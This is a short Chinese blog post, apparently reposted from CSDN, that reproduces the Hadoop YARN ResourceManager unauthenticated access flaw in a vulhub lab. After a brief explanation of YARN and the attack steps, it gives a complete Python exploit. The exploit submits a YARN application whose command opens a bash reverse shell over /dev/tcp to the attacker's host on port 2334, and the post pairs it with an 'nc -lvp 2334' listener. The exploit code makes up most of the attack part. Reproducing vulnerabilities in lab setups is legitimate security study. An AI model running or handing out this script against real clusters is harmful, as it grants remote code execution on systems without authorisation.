vulhub漏洞复现-Hadoop YARN未授权访问

Hadoop

Hadoop就是存储海量数据和分析海量数据的工具。Hadoop到底是干什么用的?YARN 是开源 Hadoop 分布式处理框架中的资源管理和作业调度技术。作为 Apache Hadoop 的核心组件之一,YARN 负责将系统资源分配给在 Hadoop 集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。Hadoop 学习系列(三)之 YARN 详细解析

思路

由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,攻击者可以通过 hdsf 提供的 restful api 对 hdfs 存储数据进行操作,如进行删除,下载,目录浏览甚至命令执行等,总体的操作思路是

  1. 在本地监听等待反弹 shell 连接
  2. 调用 New Application API 创建 Application
  3. 调用 Submit Application API 提交

直接用写好的脚本去打

漏洞复现

#!/usr/bin/env python

import requests

target = 'http://192.168.__.__:8088/'
lhost = '192.168.__.__' # put your local host ip here, and listen at port 2334

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    
    
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
    
    
        'commands': {
    
    
            'command': '/bin/bash -i >& /dev/tcp/%s/2334 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

利用nc监听然后执行命令

nc -lvp 2334

python 1.py http://192.168.__.__:8088

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/121028241